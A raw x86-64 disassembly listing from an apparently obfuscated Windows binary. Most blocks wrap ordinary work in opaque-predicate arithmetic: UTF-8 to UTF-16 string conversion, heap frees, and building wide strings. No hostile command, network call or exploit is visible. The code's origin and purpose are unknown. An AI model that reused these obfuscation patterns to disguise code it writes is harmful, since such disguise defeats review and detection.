movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x1b0], xmm0
jmp 0x14017d303
mov eax, dword [0x1415a0728]
xor eax, dword [0x1415a072c]
imul rax, rax, 0x3efdd2fb
shr rax, 0x3d
imul eax, eax, 0xd2a37aa9
mov ecx, eax
and ecx, 0x63b5ae96
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0xe3b5ae96
mov rdi, qword [0x1415acb98]
cmp eax, 0xf97d9d58
jbe 0x14017d3c2
mov rax, qword [0x1415acb98]
jmp 0x14017d37b
mov eax, dword [0x1415a0730]
imul eax, dword [0x1415a0734]
mov ecx, eax
not ecx
and ecx, 0x119adbf6
mov edx, eax
and edx, 0xee652409
imul edx, ecx
mov ecx, eax
and ecx, 0x119adbf6
or eax, 0x119adbf6
imul eax, ecx
add eax, edx
cmp eax, 0x65d9bfb4
jne 0x14017d40d
mov rcx, rdi
xor edx, edx
mov r8, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
xor edx, edx
mov r8, qword [rsp + 0x58]
call fcn.14020ae70
mov ecx, 0xd0a17185
nop word cs:[rax + rax]
mov eax, dword [0x1415a0738]
xor edx, edx
div dword [0x1415a073c]
imul rax, rcx
shr rax, 0x3e
lea edx, [rax + 0x7f6da060]
mov r8d, eax
not r8d
and r8d, 0x12079d
mov r9d, edx
and r9d, 0x2f28a022
imul r9d, r8d
and edx, 0x50450041
or eax, 0x7f7fa7fd
imul eax, edx
add eax, r9d
cmp eax, 0xa7deda9a
ja 0x14017d430
mov eax, dword [0x1415a0748]
or eax, dword [0x1415a074c]
or eax, 0x52d5d410
add eax, 0x6f0706d
mov ecx, eax
not ecx
and ecx, 0x2709113a
mov edx, eax
and edx, 0xd8766ec5
imul edx, ecx
mov ecx, eax
and ecx, 0x2788113a
or eax, 0x2789113a
imul eax, ecx
add eax, edx
cmp eax, 0xec0a4e1e
jbe 0x14017d4cb
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x150], rsi
mov r10, rbx
mov qword [rsp + 0x158], rbx
movabs rdi, 0x43f8e49e1b1e985e
mov qword [rsp + 0x160], rsi
lea r15, [0x141578be2]
xor eax, eax
mov qword [rsp + 0x58], rax
movabs r14, 0xaaaaaaaaaaaaaaab
mov r13d, 0x98f052c5
xor ebx, ebx
xor eax, eax
mov qword [rsp + 0x60], rax
mov r12, r15
jmp 0x14017d532
mov ebx, ecx
mov word [r10 + rsi*2], bp
inc rsi
mov qword [rsp + 0x160], rsi
test r12, r12
je 0x14017d670
nop dword [rax + rax]
mov eax, dword [0x1415a0750]
mov ecx, dword [0x1415a0754]
add eax, ecx
add eax, 0xe75c026
cmp eax, 0xf4ac1835
ja 0x14017d540
test bx, bx
je 0x14017d570
xor ecx, ecx
mov ebp, ebx
jmp 0x14017d970
lea rax, [0x141578bea]
cmp r12, rax
je 0x14017d670
mov ecx, dword [0x1415a0758]
mov edx, dword [0x1415a075c]
mov eax, ecx
not eax
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0x100032b7
and ecx, 0xefffcd48
or ecx, r9d
or eax, r8d
and r8d, 0x100032b7
and edx, 0xefffcd48
or edx, r8d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x32feb2dd
and ecx, 0xcd014d22
imul ecx, edx
mov edx, eax
and edx, 0xcd014d22
or eax, 0xcd014d22
imul eax, edx
add eax, ecx
mov ecx, eax
or ecx, 0x33f02cb4
mov edx, eax
not edx
and edx, 0xc0060009
mov r8d, ecx
and r8d, 0x1ff9ffe2
imul r8d, edx
and ecx, 0xe006001c
or eax, 0xf3f62cbd
imul eax, ecx
add eax, r8d
cmp eax, 0x22e334ab
je 0x14017d580
lea rcx, [r12 + 1]
movzx ebp, byte [r12]
nop
mov eax, dword [0x1415a0760]
xor edx, edx
div dword [0x1415a0764]
and eax, 0xdecb2c
add eax, 0x1fa934c6
mov edx, eax
and edx, 0x27a26dc
xor eax, 0x827a26dc
lea eax, [rax + rdx*2]
cmp eax, 0x72c91107
jb 0x14017d630
test bpl, bpl
js 0x14017d748
mov r12, rcx
jmp 0x14017d94f
mov eax, dword [0x1415a0794]
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [0x1415a0790]
xor ecx, eax
add ecx, 0x3aabf56c
mov eax, ecx
not eax
or ecx, 0x5b6db35d
or eax, 0xa4924ca2
and eax, ecx
cmp eax, 0x7e71bd2c
ja 0x14017d670
mov r9, qword [rsp + 0x150]
movabs rdx, 0x8000000000000000
nop word cs:[rax + rax]
mov eax, dword [0x1415a0798]
mov ecx, eax
not ecx
or ecx, dword [0x1415a079c]
add eax, ecx
add eax, 0xffb1c006
cmp eax, 0x291ddcca
jb 0x14017d6c0
cmp qword [rsp + 0x60], 1
je 0x14017db00
nop word [rax + rax]
mov eax, dword [0x1415a07a8]
mov ecx, dword [0x1415a07ac]
not eax
not ecx
or ecx, eax
not ecx
mov eax, ecx
and eax, 0x4379baa6
add eax, eax
neg eax
add eax, ecx
add eax, 0x78bbf586
cmp eax, 0x84f2c098
ja 0x14017d6f0
mov eax, 1
mov qword [rsp + 0x60], rax
xor ebp, ebp
mov r12d, 0
mov qword [rsp + 0x58], rax
mov r8d, 0
cmp rsi, r9
jne 0x14017d522
jmp 0x14017dae0
mov ecx, ebp
xor cl, 0xe0
and cl, bpl
mov eax, dword [0x1415a0768]
xor edx, edx
div dword [0x1415a076c]
add eax, 0x4966b571
mov edx, eax
not edx
and edx, 0x98cf4ced
mov r8d, eax
and r8d, 0x6730b312
imul r8d, edx
mov edx, eax
and edx, 0x98cf4ced
or eax, 0x98cf4ced
imul eax, edx
add eax, r8d
cmp eax, 0xea235070
ja 0x14017d750
movzx ecx, cl
movzx eax, byte [r12 + 1]
and eax, 0x3f
cmp bpl, 0xdf
jbe 0x14017d8a5
mov qword [rsp + 0x88], r10
lea r8, [r12 + 3]
movzx r9d, byte [r12 + 2]
shl eax, 6
and r9d, 0x3f
or r9d, eax
mov r10d, ecx
shl r10d, 0xc
nop
mov eax, dword [0x1415a0770]
xor edx, edx
div dword [0x1415a0774]
mov edx, eax
xor edx, 0x10186e04
and eax, 0xfe791fb
add eax, eax
sub eax, edx
mov edx, eax
or edx, 0xe89b7afc
mov r11d, eax
not r11d
and r11d, 0x17608401
mov ebx, edx
and ebx, 0x408e3946
imul ebx, r11d
and edx, 0xbf71c6b9
or eax, 0xfffbfefd
imul eax, edx
add eax, ebx
cmp eax, 0xbf3c2793
ja 0x14017d7d0
cmp bpl, 0xf0
jb 0x14017d8b5
movzx eax, byte [r12 + 3]
add r12, 4
and ecx, 7
shl ecx, 0x12
shl r9d, 6
and eax, 0x3f
nop dword [rax + rax]
mov edx, dword [0x1415a0778]
mov r8d, dword [0x1415a077c]
mov r10d, edx
not r10d
and r10d, r8d
not r8d
and r8d, edx
sub r8d, r10d
and r8d, 0x3fffffff
xor r8d, 0x318ebd93
add r8d, 0xa22d0db2
not r8d
or r8d, 0xdf0aecb6
cmp r8d, 0xc66d60f2
jb 0x14017d850
or r9d, eax
or r9d, ecx
mov r8, r12
mov ebp, r9d
jmp 0x14017d8c4
add r12, 2
shl ecx, 6
or ecx, eax
mov ebp, ecx
jmp 0x14017d94f
not r9d
not r10d
and r10d, r9d
not r10d
mov ebp, r10d
mov r10, qword [rsp + 0x88]
nop dword [rax]
mov eax, dword [0x1415a0780]
sub eax, dword [0x1415a0784]
xor eax, 0x45db750b
mov ecx, eax
and ecx, 0x7f71507f
add ecx, ecx
sub eax, ecx
cmp eax, 0x31a97ec
je 0x14017d8d0
cmp ebp, 0xffff
jbe 0x14017d94c
nop dword [rax]
mov eax, dword [0x1415a0788]
xor edx, edx
div dword [0x1415a078c]
xor eax, 0xf7758a65
imul eax, eax, 0xef5e2f5f
cmp eax, 0x6331cf5d
je 0x14017d900
lea eax, [rbp + 0xff0000]
shr eax, 0xa
mov ecx, ebp
not ecx
or ecx, 0x3ff
add ecx, ebp
inc ecx
movzx eax, ax
or eax, 0xd800
or ecx, 0xdc00
mov r12, r8
mov ebp, eax
jmp 0x14017d970
mov r12, r8
mov al, 1
nop word cs:[rax + rax]
test al, al
je 0x14017d960
xor ecx, ecx
nop word cs:[rax + rax]
mov eax, dword [0x1415a07a0]
mov edx, dword [0x1415a07a4]
not edx
mov r8d, eax
or r8d, edx
and edx, eax
not r8d
or r8d, edx
imul eax, r8d, 0x1fab1643
or eax, 0x30619942
add eax, 0x71b0570c
cmp eax, 0x2bf54cf1
ja 0x14017d970
cmp rsi, qword [rsp + 0x150]
jne 0x14017d520
nop word cs:[rax + rax]
mov eax, dword [0x1415a07b0]
sub eax, dword [0x1415a07b4]
not eax
and eax, 0xcf9b94a4
mov r8d, eax
not r8d
or eax, 0xe4740174
or r8d, 0x1b8bfe8b
and r8d, eax
mov eax, r8d
not eax
and eax, 0x5f025e0a
mov edx, r8d
and edx, 0x80f980e4
imul edx, eax
mov eax, r8d
and eax, 0x6f061510
or r8d, 0x7f065f1a
imul r8d, eax
add r8d, edx
mov rax, r15
sub rax, r12
add rax, 0xa
mul r14
cmp r8d, 0x3286f9be
je 0x14017d9c0
shr rdx, 1
nop dword [rax]
mov r8d, dword [0x1415a07b8]
sub r8d, dword [0x1415a07bc]
and r8d, 0x32a4b202
xor r8d, 0x30848002
or r8d, 0x845b4cb5
cmp cx, 1
mov rax, rdi
adc rax, 0xffffffffffffffff
cmp r8d, 0x2f7bbf4f
jb 0x14017da30
inc r8
lea rcx, [rsp + 0x150]
mov rdx, rsi
call fcn.14020b860
mov r10, qword [rsp + 0x158]
jmp 0x14017d522
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x60], rax
cmp r9, rdx
jne 0x14017dc80
mov rsi, qword [rsp + 0x60]
mov eax, dword [0x1415a0bb0]
mov ecx, dword [0x1415a0bb4]
mov edx, eax
and edx, ecx
xor eax, ecx
lea eax, [rax + rdx*2]
mov ecx, eax
xor ecx, 0xd455d965
or eax, 0x2baa269a
and eax, ecx
mov ecx, eax
and ecx, 0x472935e3
or eax, 0x472935e3
add eax, ecx
mov ecx, eax
not ecx
or ecx, 0xeceee789
or eax, 0x13111876
and eax, ecx
cmp eax, 0x70e77203
jbe 0x14017db76
mov rax, qword [rsp + 0x78]
mov qword [rax], rsi
mov qword [rax + 0x10], 2
mov r8, qword [rsp + 0x78]
nop dword [rax + rax]
mov eax, dword [0x1415a0bb8]
imul eax, dword [0x1415a0bbc]
mov ecx, eax
not ecx
and ecx, 0xa879d427
mov edx, eax
and edx, 0x57862bd8
imul edx, ecx
mov ecx, eax
and ecx, 0xa879d427
or eax, 0xa879d427
imul eax, ecx
add eax, edx
mov ecx, eax
xor ecx, 0x9d455129
or eax, 0x62baaed6
and eax, ecx
imul eax, eax, 0x7beb4ccf
mov qword [r8], rsi
mov qword [r8 + 0x10], 2
cmp eax, 0x7c8b18a1
jae 0x14017db80
xor edi, edi
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14017dc4f
mov rsi, qword [0x1415acb98]
mov eax, dword [0x1415a1190]
xor eax, dword [0x1415a1194]
add eax, 0x91c62446
mov ecx, eax
and ecx, 0x14bc54ea
and eax, 0x149c50e2
xor ecx, 0x36dff9e2
lea eax, [rcx + rax*2]
cmp eax, 0xb2c26816
jbe 0x14017dc37
mov rcx, rsi
xor edx, edx
mov r8, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
xor edx, edx
mov r8, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x118]
cmp dil, byte [rsp + 0x76]
jne 0x14017aea2
xor dil, 1
movzx ecx, byte [rsp + 0x76]
xor cl, 1
or cl, dil
jne 0x14017a8b0
jmp 0x14017aea2
mov eax, dword [0x1415a07d0]
add eax, dword [0x1415a07d4]
mov ecx, eax
xor ecx, 0x5ed5e7f9
add ecx, eax
and eax, 0x212a1806
sub ecx, eax
add ecx, 0x912f60c0
or ecx, 0xa86b641f
cmp ecx, 0xe9dda83
jb 0x14017dc80
mov eax, dword [0x1415a07d8]
xor eax, dword [str.CyJ]
imul eax, eax, 0x5cea3141
add eax, 0xc188c2a4
cmp eax, 0x2297292c
nop dword [rax]
mov eax, dword [0x1415a07e0]
xor eax, dword [0x1415a07e4]
add eax, 0xf3b1a999
mov ecx, eax
and ecx, 0x38a9217
add ecx, ecx
sub eax, ecx
add eax, 0x38a9217
or eax, 0x7657c178
cmp eax, 0x7c600ca5
je 0x14017dcd0
mov qword [rsp + 0x58], r9
mov al, 1
test al, al
je 0x14017e83a
mov rax, qword [rsp + 0x108]
mov rcx, qword [rax + 0x28]
mov qword [rsp + 0x140], rcx
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x98], rcx
movzx eax, byte [rax + 0xc9]
mov byte [rsp + 0x88], al
mov esi, 0xa
lea rdx, [rsi + rsi]
movzx eax, byte [0x1415acbd0]
xor ecx, ecx
call fcn.1401ac910
test rax, rax
je 0x14017e879
mov rcx, rax
mov word [rax], 0x63
mov qword [rsp + 0x210], rsi
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], 1
lea r12, [0x1415789d2]
mov ebx, 1
xor esi, esi
mov r11d, 0x81fa7dcd
lea rbp, [0x1415789d1]
lea r15, [rsp + 0x210]
jmp 0x14017ddcb
mov word [rcx + rbx*2], si
mov eax, ebx
and eax, 1
or rbx, 1
add rbx, rax
mov qword [rsp + 0x220], rbx
mov esi, r13d
test si, si
je 0x14017dde0
xor r13d, r13d
jmp 0x14017e080
lea rax, [0x1415789ed]
cmp r12, rax
je 0x14017e2bc
lea rax, [r12 + 1]
nop word cs:[rax + rax]
mov edx, dword [0x1415a0808]
mov r8d, dword [0x1415a080c]
mov r9d, edx
xor r9d, r8d
not r9d
or edx, r8d
and edx, r9d
mov r8d, edx
and r8d, 0xbee1a3a3
or edx, 0xbee1a3a3
add edx, r8d
mov r8d, edx
and r8d, 0x7759e8b1
or edx, 0x7759e8b1
add edx, r8d
or edx, 0x87e584c3
cmp edx, 0xf14025a
je 0x14017de00
movzx esi, byte [r12]
nop word cs:[rax + rax]
mov edx, dword [0x1415a0810]
or edx, dword [0x1415a0814]
or edx, 0xf7fdff9f
imul edx, edx, 0xe8a2486f
cmp edx, 0x95677ca
jb 0x14017de60
test sil, sil
js 0x14017decf
nop word cs:[rax + rax]
mov edx, dword [0x1415a0818]
add edx, dword [0x1415a081c]
imul edx, edx, 0x6d69b996
mov r8d, edx
or r8d, 0x800a6002
not edx
and edx, 0x6d818884
and r8d, 0x824a7252
or r8d, edx
cmp r8d, 0x84d18e8f
je 0x14017de90
mov r12, rax
jmp 0x14017e050
mov eax, esi
not al
or al, 0x1f
add al, sil
inc al
movzx eax, al
movzx edx, byte [r12 + 1]
mov r8d, edx
and r8d, 0x3f
cmp sil, 0xdf
jbe 0x14017e02d
nop word cs:[rax + rax]
mov edx, dword [0x1415a0820]
sub edx, dword [0x1415a0824]
imul rdx, rdx, 0x41c6becf
shr rdx, 0x3d
or edx, 0xcef66454
xor edx, 0xd6b0a743
cmp edx, 0x26aea04b
ja 0x14017df00
movzx edx, byte [r12 + 2]
not edx
shl r8d, 6
not r8d
or edx, 0xffffffc0
and edx, r8d
not edx
cmp sil, 0xf0
jb 0x14017e243
nop dword [rax]
mov r8d, dword [0x1415a0828]
imul r8d, dword [0x1415a082c]
and r8d, 0x98c6e2fd
xor r8d, 0xde5c7355
imul r8d, r8d, 0xa5440b3c
cmp r8d, 0x7726b502
ja 0x14017df50
nop dword [rax]
mov r8d, dword [0x1415a0830]
mov r9d, dword [0x1415a0834]
mov r10d, r8d
xor r10d, r9d
not r9d
and r9d, r8d
add r9d, r9d
sub r9d, r10d
mov r8d, r9d
or r8d, 0xc182521d
not r9d
and r9d, 0x10010000
and r8d, 0xc58e7f5f
sub r8d, r9d
cmp r8d, 0x63555afc
je 0x14017df80
movzx r8d, byte [r12 + 3]
add r12, 4
and eax, 7
shl eax, 0x12
shl edx, 6
mov r9d, r8d
xor r9d, 0xc0
and r9d, r8d
mov esi, edx
not esi
mov r8d, r9d
not r8d
mov r10d, esi
and r10d, 0x5e89059c
and edx, 0x2fa63
or edx, r10d
or esi, r8d
and r8d, 0x5e89059c
and r9d, 0x63
or r9d, r8d
xor r9d, edx
not esi
or esi, eax
or esi, r9d
cmp esi, 0xffff
ja 0x14017e260
add r12, 2
shl eax, 6
not r8d
and r8d, 0x8962f99d
and edx, 0x22
or edx, r8d
xor edx, eax
xor edx, 0x8962f99d
mov esi, edx
nop
mov eax, dword [0x1415a0838]
mov edx, dword [0x1415a083c]
add eax, edx
add eax, 0xcdaffc93
or eax, 0xe4f87017
cmp eax, 0xf2d26acc
je 0x14017e050
xor r13d, r13d
nop word cs:[rax + rax]
mov eax, dword [0x1415a0848]
mov edx, dword [0x1415a084c]
mov r8d, edx
not r8d
mov r9d, eax
and r9d, r8d
or r8d, eax
not r8d
imul r8d, r9d
mov r9d, eax
and r9d, edx
or eax, edx
imul eax, r9d
add eax, r8d
imul eax, eax, 0x43bb1e5d
add eax, 0x5b58e1f7
cmp eax, 0xe35e340e
ja 0x14017e080
cmp rbx, qword [rsp + 0x210]
jne 0x14017e1aa
mov eax, dword [0x1415a0858]
sub eax, dword [0x1415a085c]
mov ecx, eax
and ecx, 0x52a00681
add ecx, ecx
sub eax, ecx
imul ecx, eax, 0xee9027ff
add ecx, 0x44f4217f
xor ecx, 0xcb088168
mov rax, rbp
sub rax, r12
add rax, 0x1e
mul r14
cmp ecx, 0x7ed3c7f3
jb 0x14017e0d1
mov rdi, rdx
mov r14, r12
mov r12, rbp
shr rdi, 1
mov eax, dword [0x1415a0860]
add eax, dword [0x1415a0864]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x66c08005
and ecx, 0x993f7ffa
imul ecx, edx
mov edx, eax
and edx, 0x993f7ffa
or eax, 0x993f7ffa
imul eax, edx
add eax, ecx
imul rcx, rax, 0x24cf4bef
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
imul ebp, eax, 0xf0161a67
cmp r13w, 1
mov r8, rdi
sbb r8, 0
add r8, 2
mov rcx, r15
mov rdx, rbx
call fcn.1402474d0
cmp ebp, 0xf8d8ffa8
ja 0x14017e11c
mov eax, dword [0x1415a0850]
mov edx, dword [0x1415a0854]
mov r8d, eax
not r8d
mov r9d, edx
not r9d
mov r10d, r8d
and r10d, 0xdd53841c
and eax, 0x22ac7be0
or eax, r10d
or r8d, r9d
and r9d, 0xdd53841c
and edx, 0x22ac7be0
or edx, r9d
xor edx, eax
not r8d
or r8d, edx
shr r8d, 2
imul rax, r8, 0x249f2d57
shr rax, 0x3a
mov edx, eax
not edx
and edx, 0x57c471ce
mov r8d, eax
and r8d, 1
imul r8d, edx
mov edx, eax
and edx, 0xfffffffe
or eax, 0x57c471ce
imul eax, edx
add eax, r8d
cmp eax, 0xc5c5322c
jne 0x14017ddb0
mov word [rcx + rbx*2], si
lea rax, [rbx + 1]
mov qword [rsp + 0x220], rax
jmp 0x14017ddb0
add r12, 3
shl eax, 0xc
or edx, eax
mov esi, edx
cmp esi, 0xffff
jbe 0x14017e050
nop word [rax + rax]
mov eax, dword [0x1415a0840]
xor edx, edx
div dword [0x1415a0844]
imul eax, eax, 0x5e7ceb14
imul rax, r11
shr rax, 0x3f
add eax, 0x3a6b6507
cmp eax, 0x460c1194
ja 0x14017e260
mov eax, esi
mov r13d, esi
xor r13d, 0x2000
and r13d, esi
mov edx, esi
and edx, 0xff0000
xor eax, 0xff0000
lea esi, [rax + rdx*2]
shr esi, 0xa
or esi, 0xd800
or r13d, 0xdc00
jmp 0x14017e080
mov eax, dword [0x1415a0868]
sub eax, dword [0x1415a086c]
imul rax, rax, 0x53fe267
shr rax, 0x3a
not eax
and eax, 0xf21d5d87
xor eax, 0x5332d351
cmp eax, 0x1723b249
jae 0x14017e306
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0xa0], xmm0
mov r14, qword [rsp + 0x80]
nop
mov eax, dword [0x1415a0870]
sub eax, dword [0x1415a0874]
mov rcx, qword [rsp + 0x220]
mov qword [rsp + 0xb0], rcx
imul rax, rax, 0x46f57579
shr rax, 0x3e
imul eax, eax, 0xf2cf6f49
xor eax, 0x5ce9dab0
movups xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0xa0], xmm0
cmp eax, 0x5067bcd0
jb 0x14017e310
nop dword [rax]
mov eax, dword [0x1415a0878]
mov ecx, dword [0x1415a087c]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
mov ecx, eax
not ecx
and ecx, 0x92bc6c28
mov edx, eax
and edx, 0x6d4393d7
imul edx, ecx
mov ecx, eax
and ecx, 0x92bc6c28
or eax, 0x92bc6c28
imul eax, ecx
add eax, edx
cmp eax, 0x74e3caa1
je 0x14017e360
mov r12, qword [rsp + 0xb0]
cmp r12, qword [rsp + 0xa0]
jne 0x14017e444
lea rdi, [rsp + 0xa0]
mov esi, dword [0x1415a0880]
sub esi, dword [0x1415a0884]
mov eax, esi
not eax
and eax, 0x2150c8c0
mov ecx, esi
and ecx, 0xdeaf373f
imul ecx, eax
mov eax, esi
and eax, 0x2150c8c0
or esi, 0x2150c8c0
imul esi, eax
add esi, ecx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0x96ed72c0
and eax, 0x69128d3c
imul eax, ecx
mov ecx, esi
and ecx, 0x69128d00
or esi, 0x69128d3c
imul esi, ecx
add esi, eax
not esi
or esi, 0x5854db43
mov rcx, rdi
call fcn.140130ea0
cmp esi, 0xc1a4ba84
ja 0x14017e3d3
xor eax, eax
test al, al
je 0x14017e459
mov rax, qword [rsp + 0xa8]
mov word [rax + r12*2], 0x22
mov r10, qword [rsp + 0x68]
nop
mov eax, dword [0x1415a0888]
mov ecx, dword [0x1415a088c]
mov edx, eax
and edx, ecx
not eax
not ecx
or ecx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0xa48ffcb0
xor ecx, 0x1100010d
and ecx, 0x310eadad
mov edx, eax
and edx, 0xcef15252
imul edx, ecx
mov ecx, eax
and ecx, 0x310eadad
or eax, 0x310eadad
imul eax, ecx
add eax, edx
mov rsi, qword [rsp + 0xa8]
mov word [rsi + r12*2], 0x22
cmp eax, 0xab3cde5f
jb 0x14017e460
inc r12
mov qword [rsp + 0xb0], r12
lea rax, [r10 + r14*2]
nop
mov ecx, dword [0x1415a0890]
mov edx, dword [0x1415a0894]
mov r8d, ecx
xor r8d, edx
not r8d
and r8d, edx
add r8d, r8d
sub edx, r8d
add edx, ecx
xor edx, 0xc66ba496
add edx, 0xbe7dbe4
mov ecx, edx
xor ecx, 0x825a7e03
and ecx, edx
cmp ecx, 0x9a63952e
ja 0x14017e4d0
lea rbx, [0x141578a60]
mov rcx, r10
nop dword [rax + rax]
mov edx, dword [0x1415a0898]
and edx, dword [0x1415a089c]
imul edx, edx, 0xcbca86f4
add edx, 0x3a016393
cmp edx, 0xc847c1ca
ja 0x14017e520
cmp rcx, rax
je 0x14017e58d
mov eax, dword [0x1415a07e8]
mov ecx, dword [0x1415a07ec]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
or eax, 0xb5939a8d
add eax, 0xbad839c4
mov ecx, eax
not ecx
and ecx, 0xc6f50048
and eax, 0x180afdb2
sub eax, ecx
cmp eax, 0xcdaa527
je 0x140185ce7
jmp 0x140185ccd
xor eax, eax
test al, al
je 0x14017e881
ud2
mov eax, dword [0x1415a0800]
xor eax, dword [0x1415a0804]
imul eax, eax, 0x11c26d2e
mov ecx, eax
and ecx, 0x47290f80
or eax, 0x47290f81
add eax, ecx
add eax, 0x601e9d28
ud2
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x88], r8
xor eax, eax
test rdi, rdi
setne al
mov rcx, rsi
cmove rcx, rdi
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x220], rdi
mov rdx, qword [rsp + 0x1a0]
mov qword [rsp + 0x228], rdx
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], 0
mov qword [rsp + 0x240], rdi
mov qword [rsp + 0x248], rdx
mov qword [rsp + 0x250], rcx
lea r14, [rsp + 0xa0]
lea r13, [rsp + 0x210]
xor ebx, ebx
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [0x1415a0c00]
and edi, dword [0x1415a0c04]
and edi, 0xe66155f6
add edi, 0x2e9361b7
not edi
and edi, 0xf86d8b8e
mov rcx, r14
mov rdx, r13
call fcn.140193440
cmp edi, 0xc7ad380b
ja 0x14017e945
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x14017f9c1
mov rdx, qword [rsp + 0xb0]
imul r9, rdx, 0x38
mov r10, qword [rax + r9 + 0x168]
mov rbp, qword [rax + r9 + 0x170]
mov r8, qword [rax + r9 + 0x178]
mov rcx, qword [rax + r9 + 0x188]
mov qword [rsp + 0x110], rcx
mov rcx, qword [rax + r9 + 0x190]
mov qword [rsp + 0x140], rcx
mov rcx, qword [rax + r9 + 0x198]
mov qword [rsp + 0x98], rcx
mov r9d, dword [0x1415a0c08]
sub r9d, dword [0x1415a0c0c]
or r9d, 0xc0567656
imul r9, r9, 0x6d6ca157
shr r9, 0x3e
or r9d, 0xc851ccf4
cmp r9d, 0xad2f744b
mov r9d, dword [0x1415a0c10]
sub r9d, dword [0x1415a0c14]
or r9d, 0xeb389be
add r9d, 0x6bf978f5
and r9d, 0xf1b04eb0
cmp r9d, 0x489b3cc
jb 0x14017ea0b
cmp r10, r12
je 0x14017f9c1
mov qword [rsp + 0x1d8], r10
shl rdx, 5
mov rcx, qword [rax + rdx]
mov qword [rsp + 0x190], rcx
mov r14, qword [rax + rdx + 8]
mov rax, qword [rax + rdx + 0x10]
mov qword [rsp + 0x1f8], rax
add r8, rbp
mov eax, dword [0x1415a0c90]
mov edx, dword [0x1415a0c94]
mov r9d, edx
not r9d
mov r10d, eax
and r10d, r9d
or r9d, eax
not r9d
imul r9d, r10d
mov r10d, eax
and r10d, edx
or eax, edx
imul eax, r10d
add eax, r9d
and eax, 0x43d95b97
add eax, 0xbf1ef17d
mov edx, eax
xor edx, 0x725def36
and edx, eax
cmp edx, 0x54d39ac9
je 0x14017ea6d
xor edx, edx
mov r10, rbp
mov qword [rsp + 0x80], r14
mov r9w, 1
test dx, dx
je 0x14017eae0
xor edx, edx
jmp 0x14017eef0
mov eax, dword [0x1415a0c98]
xor edx, edx
div dword [0x1415a0c9c]
add eax, 0x6bfccdec
mov edx, eax
xor edx, 0x8821480
or edx, 0xe771e37c
xor eax, 0x83510048
or eax, 0x188e1c83
and eax, edx
cmp eax, 0x4d496265
jb 0x14017eae0
cmp r10, r8
je 0x14017ef35
lea rdx, [r10 + 1]
movzx eax, byte [r10]
nop word cs:[rax + rax]
mov r11d, dword [0x1415a0ca0]
add r11d, dword [0x1415a0ca4]
mov edi, r11d
and edi, 0xf17f9f2
add edi, edi
sub r11d, edi
add r11d, 0x8f17f9f2
mov edi, r11d
not edi
or r11d, 0xde6c98d6
or edi, 0x21936729
and edi, r11d
add edi, 0x68f61d4d
cmp edi, 0x802bda50
jb 0x14017eb30
test al, al
js 0x14017ebf0
nop word [rax + rax]
mov r9d, dword [0x1415a0ca8]
sub r9d, dword [0x1415a0cac]
or r9d, 0xaef0f43a
mov r10d, r9d
xor r10d, 0x97068bf7
and r9d, 0x68f97408
add r9d, r9d
sub r9d, r10d
mov r10d, r9d
not r10d
and r10d, 0x2a2212e0
mov r11d, r9d
and r11d, 0xd5dd4d0f
imul r11d, r10d
mov r10d, r9d
and r10d, 0x2a2232c0
or r9d, 0x2a2232e0
imul r9d, r10d
add r9d, r11d
cmp r9d, 0x92f822eb
jae 0x14017eb80
mov r10, rdx
jmp 0x14017eec0
mov edx, eax
and edx, 0x1f
nop word cs:[rax + rax]
test bl, bl
jne 0x14017ec00
movzx r15d, byte [r10 + 1]
and r15d, 0x3f
cmp al, 0xdf
jbe 0x14017edc8
lea r11, [r10 + 3]
movzx edi, byte [r10 + 2]
shl r15d, 6
mov r12d, edi
xor r12b, 0xc0
or dil, 0x3f
and dil, r12b
movzx r12d, dil
mov edi, dword [0x1415a0cb0]
imul edi, dword [0x1415a0cb4]
and edi, 0x475863f0
add edi, 0xb7e7dd2b
mov r14d, edi
not r14d
and r14d, 0x4faf7a24
mov ecx, edi
and ecx, 0x105085db
imul ecx, r14d
mov r14d, edi
and r14d, 0xefaf7a20
or edi, 0xefaf7a24
imul edi, r14d
add edi, ecx
cmp edi, 0xc30ce91b
ja 0x14017ec34
mov edi, r15d
not edi
mov ecx, r12d
not ecx
mov r14d, edi
and r14d, 0xd25138f2
and r15d, 0x70d
or r15d, r14d
or edi, ecx
and ecx, 0xd25138f2
and r12d, 0xd
or r12d, ecx
xor r12d, r15d
not edi
or edi, r12d
cmp al, 0xf0
jb 0x14017edd9
mov eax, dword [0x1415a0cb8]
mov ecx, dword [0x1415a0cbc]
add eax, ecx
add eax, 0x83ac48eb
mov ecx, eax
not ecx
and ecx, 0xd4da2d58
mov r11d, eax
and r11d, 0x2b25d2a7
imul r11d, ecx
mov ecx, eax
and ecx, 0xd4da2d58
or eax, 0xd4da2d58
imul eax, ecx
add eax, r11d
mov ecx, eax
not ecx
or ecx, 0x77910950
or eax, 0x886ef6af
and eax, ecx
cmp eax, 0x95f61f7d
